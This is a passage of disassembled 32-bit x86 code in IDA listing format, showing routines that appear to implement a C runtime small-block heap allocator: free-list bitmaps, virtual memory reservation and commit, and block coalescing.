		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD3D4
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD3CC
		jnz	short loc_41ED67
		and	dword_4DD3D4, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD3D8
		mov	ecx, dword_4DD3C8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD3DC
		push	edi
		push	dword_4DD3E4
		call	near ptr 2870000h
		nop
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD3C8, 10h
		mov	dword_4DD3DC, eax
		mov	eax, dword_4DD3D8


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD3DC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD3E4
		lea	esi, [ecx+eax*4]
		call	near ptr 27E0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 26609E2h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD3E4
		nop
		call	near ptr 27D0000h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD3D8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 26609E2h
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AEB0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AEA0
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 27E0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AEA0
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AEA0, 0
		jnz	short loc_41F296
		mov	off_43AEA0, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AEA4, 0
		jnz	short loc_41F2BB
		mov	off_43AEA4, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AEA4
		mov	[esi+4], eax
		mov	off_43AEA4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 2660B7Ah
		nop


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AEA0
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 27D0000h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2660B7Ah
		nop
		cmp	off_43CEC0, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CEC0, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AEA0
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD3E4
		nop
		call	near ptr 27D0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AEB0, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AEA4
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 2660B7Ah
		nop
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE90
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AEA4
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AEA0
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE90
		cmp	dword_4DBE90, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CEC0
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
